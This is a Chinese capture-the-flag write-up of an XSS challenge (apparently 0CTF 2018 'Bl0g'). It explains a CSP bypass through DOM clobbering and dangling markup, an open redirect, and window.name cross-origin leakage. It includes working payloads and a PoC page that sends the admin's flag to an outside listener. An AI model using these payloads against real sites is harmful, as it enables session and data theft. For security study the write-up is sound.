赛后复现的一个题,用到了很多技巧,复现的过程收获很大,这篇文章从一个新手的角度来分析这道xss题目。
网站有几个功能
/new : 发布新文章
/: 查看发布的文章
/flag: flag,需要得到管理员看到的flag页面
/submit: 提交链接
/article/3869: 查看文章链接
网站的csp规则为:
Content-Security-Policy: script-src 'self' 'unsafe-inline'
Content-Security-Policy: default-src 'none'; script-src 'nonce-YR0W8GPS4XSyrpssLDEnV7EtYtM=' 'strict-dynamic'; style-src 'self'; img-src 'self' data:; media-src 'self'; font-src 'self' data:; connect-src 'self'; base-uri 'none'
很有意思的是这里用了两个csp规则,csp1和csp2都有
两个CSP分开写,是同时生效并且单独生效的,也就是与的关系。
换个说法就是,strict-dynamic
表明我们可以运行动态生成的js, 假设我们通过动态生成script标签的方式(dom xss),成功绕过了第二个CSP,但我们引入了<script src="hacker.website">
,就会被第一条CSP拦截,很有趣的技巧。
nonce的绕过我们一般是去寻找一些dom xss的点
我们再查看文章链接的地方发现网站引入了第四个js: article.js
$(document).ready(function(){
$("body").append((effects[$("#effect").val()]));
});
很明显的dom xss
网站部分源码为:
<h1>1</h1>
<p id="article">
11
</p>
<input type="hidden" id="effect" value="nest">
获取id为effect即input输入框的值,effects变量是在config.js中定义的,
var effects = {
'nest': [
'<script src="/assets/js/effects/canvas-nest.min.js"></script>'
],
'3waves': [
'<script src="/assets/js/effects/three.min.js"></script>',
'<script src="/assets/js/effects/three-waves.min.js"></script>'
],
'lines': [
'<script src="/assets/js/effects/three.min.js"></script>',
'<script src="/assets/js/effects/canvas-lines.min.js"></script>'
],
'sphere': [
'<script src="/assets/js/effects/three.min.js"></script>',
'<script src="/assets/js/effects/canvas-sphere.min.js"></script>'
],
}
即根据我们输入的内容选择对应的js特效,但是这里输入值并没有白名单过滤(不要相信用户的输入),导致我们构造恶意的js内容
思路:
- 我们首先需要覆盖掉config.js
,"><script a=
利用标签悬挂攻击我们可以覆盖掉config.js(因为nonce是动态生成的,获取到管理员的nonce也没用)
- 如果我们可以覆盖effects变量,那我们就可以向body注入标签了,这里需要一点小trick。
在js中,对于特定的form,iframe,applet,embed,object,img标签,我们可以通过设置id或者name来使得通过id或name获取标签
构造也比较巧妙
id"><form name="effects" id="<script>alert(1)</script>"><script a="
我们如果插入这个,就可以成功覆盖config.js和effects的内容
<input type="hidden" id="effect" value="id"><script a=">
<section id=" comments"="">
<form method="post" action="" class="form">
<label><h3>Leave A Message</h3></label>
<textarea name="comment"></textarea>
<button class="button outline small">Comment</button>
</form>
<h3>No articles have been published yet, plz create one.</h3>
</section>
</main>
</div>
<script nonce="2dvzd3OZ9hCTSMK3aDJWR1wUOfI=" src="/assets/js/config.js"></script>
<script nonce="" src="/assets/js/jquery-3.3.1.min.js"></script>
<script nonce="" src="/assets/js/kube.min.js"></script>
<script nonce="" src="/assets/js/article.js"></script>
effect参数这里服务端限制只能写入70个字节,bypass csp1的unsafe-inline的很多方法都用不了了。
大佬给出的payload:
id"><form name=effects id="<script>$.get('/flag',e=>name=e)"><script>
还是可以通过xhr访问站内的链接/flag
的
,将flag存放在name窗口中,那么我们如何将flag传出来呢?
- login?next=这个点可以存在一个任意跳转,通过这个点,我们可以绕过submit的限制(submit的maxlength是前台限制,可以随便跳转
这个漏洞有什么用呢? 无法写js,没法传出document对象
这里我们再次用到一个Tricks,一个特殊的跨域操作
http://www.cnblogs.com/zichi/p/4620656.html
这里用到了一个特殊的特性,就是window.name不跟随域变化而变化,通过window.name我们可以缓存原本的数据。
我们在我们的vps上挂一个html
<html>
</html>
<script>
alert(window.name)
</script>
直接弹出name是没有任何内容的,但是我们通过该网站login?next调到我们的服务器上时会有什么变化呢,我们访问:http://202.120.7.197:8090/login?next=http://lj.s7star.cn/xss/name.html
成功弹框前一个网页的name数据
那么我们如何将我们http://202.120.7.197:8090/article/3879
网站的name发出来呢?
我们再我们vps上再挂个html:
<html>
<iframe name="tt" src="http://202.120.7.197:8090/article/3879"></iframe>
</html>
<script>
alert(window.name)
</script>
我们添加了一个iframe指向我们的文章,因为该网站并没有设置x-frame-options选项,因此可以被嵌入,因为浏览器会保存cookie,因此iframe里面的页面无需登陆就可以访问到。
frames[0].document
VM1835:1 Uncaught DOMException: Blocked a frame with origin "http://lj.s7star.cn" from accessing a cross-origin frame.
at <anonymous>:1:11
(anonymous) @ VM1835:1
frames[0].window.name
VM2087:1 Uncaught DOMException: Blocked a frame with origin "http://lj.s7star.cn" from accessing a cross-origin frame.
at <anonymous>:1:18
frames[0].location="/"
"/"
name
""
frames[0].name
"flag{ONLY_4dmin_can_r3ad_7h!s}"
在我们的vps网站上测试,虽然因为同源策略限制我们无法访问iframe里面的dom,也无法直接获取iframe的name值,但我们可以改变window.href调到我们的首页来,此时iframe已经和我们的vps同源,我们就可以将name带出来并且访问成功了.
知道怎么带出来后我们就可以顺利写出poc了.
<iframe src="http://202.120.7.197:8090/article/3879"></iframe>
<script>
setTimeout(()=>{frames[0].window.location.href='/'},1200)
console.log(frames[0].name);
setTimeout(()=>{location.href='http://123.206.65.167:2000/?'+frames[0].window.name},1500)
</script>
上面这段就不难理解了,先用iframe指向含有xss的文章链接,通过location.href跳到我们的vps上面来,并将name带出来,获取iframe的name窗口值并发送到我们监听的端口上。
最后提交我们的链接:
http://202.120.7.197:8090/login?next=http://lj.s7star.cn/xss/evil.html
参考:
https://lorexxar.cn/2018/04/05/0ctf2018-blog/
https://blog.cal1.cn/post/0CTF%202018%20Quals%20Bl0g%20writeup